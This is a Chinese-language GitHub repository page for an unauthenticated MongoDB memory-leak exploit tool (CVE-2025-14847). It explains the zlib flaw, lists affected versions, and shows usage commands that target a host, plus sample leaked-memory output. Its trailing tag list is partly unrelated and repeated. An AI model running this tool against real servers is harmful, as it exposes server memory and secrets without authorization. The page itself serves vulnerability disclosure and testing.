joe-desimone/mongobleed
GitHub: joe-desimone/mongobleed
针对 MongoDB CVE-2025-14847 zlib 解压缩漏洞的未认证内存泄露利用工具,可无需凭据读取服务端敏感内存数据。
Stars: 940 | Forks: 166
# mongobleed
**CVE-2025-14847** - MongoDB 未认证内存泄露漏洞利用
针对 MongoDB zlib 解压缩漏洞的概念验证漏洞利用程序,该漏洞允许未经认证的攻击者泄露敏感的服务器内存。
## 漏洞详情
MongoDB 的 zlib 消息解压缩存在缺陷,返回的是分配的缓冲区大小而不是实际解压缩数据的长度。这允许攻击者通过以下方式读取未初始化的内存:
1. 发送一个声称具有夸大 `uncompressedSize` 的压缩消息
2. MongoDB 根据攻击者的声明分配一个大缓冲区
3. zlib 将实际数据解压缩到缓冲区的开头
4. 该缺陷导致 MongoDB 将整个缓冲区视为有效数据
5. BSON 解析从未初始化的内存中读取“字段名称”,直到遇到空字节
## 受影响的版本
| 版本 | 受影响 | 已修复 |
|---------|----------|-------|
| 8.2.x | 8.2.0 - 8.2.2 | 8.2.3 |
| 8.0.x | 8.0.0 - 8.0.16 | 8.0.17 |
| 7.0.x | 7.0.0 - 7.0.27 | 7.0.28 |
| 6.0.x | 6.0.0 - 6.0.26 | 6.0.27 |
| 5.0.x | 5.0.0 - 5.0.31 | 5.0.32 |
## 用法
```
# 基础扫描 (偏移量 20-8192)
python3 mongobleed.py --host
# 深度扫描以获取更多数据
python3 mongobleed.py --host --max-offset 50000
# 自定义范围
python3 mongobleed.py --host --min-offset 100 --max-offset 20000
```
## 选项
| 选项 | 默认值 | 描述 |
|--------|---------|-------------|
| `--host` | localhost | 目标 MongoDB 主机 |
| `--port` | 27017 | 目标 MongoDB 端口 |
| `--min-offset` | 20 | 探测的最小文档长度 |
| `--max-offset` | 8192 | 探测的最大文档长度 |
| `--output` | leaked.bin | 泄露数据的输出文件 |
## 示例输出
```
[*] mongobleed - CVE-2025-14847 MongoDB Memory Leak
[*] Author: Joe Desimone - x.com/dez_
[*] Target: localhost:27017
[*] Scanning offsets 20-50000
[+] offset= 117 len= 39: ssions^\u0001�r��*YDr���
[+] offset=16582 len=1552: MemAvailable: 8554792 kB\nBuffers: ...
[+] offset=18731 len=3908: Recv SyncookiesFailed EmbryonicRsts ...
[*] Total leaked: 8748 bytes
[*] Unique fragments: 42
[*] Saved to: leaked.bin
```
## 测试环境
包含一个 Docker Compose 文件,用于启动一个易受攻击的 MongoDB 实例:
```
docker-compose up -d
python3 mongobleed.py
```
## 工作原理
该漏洞利用程序构造具有夸大长度字段的 BSON 文档。当服务器解析这些文档时,它会从未初始化的内存中读取字段名称,直到遇到空字节。每次不同偏移量的探测可能会泄露不同的内存区域。
泄露的数据可能包括:
- MongoDB 内部日志和状态
- WiredTiger 存储引擎配置
- 系统 `/proc` 数据(meminfo,网络统计信息)
- Docker 容器路径
- 连接 UUID 和客户端 IP
## 参考资料
- [OX Security 公告](https://www.ox.security/blog/attackers-could-exploit-zlib-to-exfiltrate-data-cve-2025-14847/)
- [MongoDB 修复提交](https://github.com/mongodb/mongo/commit/505b660a14698bd2b5233bd94da3917b585c5728)
## 作者
Joe Desimone - [x.com/dez_](https://x.com/dez_)
## 免责声明
本工具仅供授权安全测试使用。未经授权访问计算机系统是非法的。
标签:BSON, CVE-2025-14847, DNS枚举, HTTP工具, MongoDB, PoC, Python, zlib, 内存安全, 内存泄露, 安全测试, 密码管理, 插件系统, 攻击性安全, 数据压缩, 数据泄露, 数据窃取, 无后门, 暴力破解, 未经身份验证, 网络安全, 网络安全工具, 自定义脚本, 自定义脚本, 自定义脚本, 请求拦截, 远程攻击, 逆向工具, 隐私保护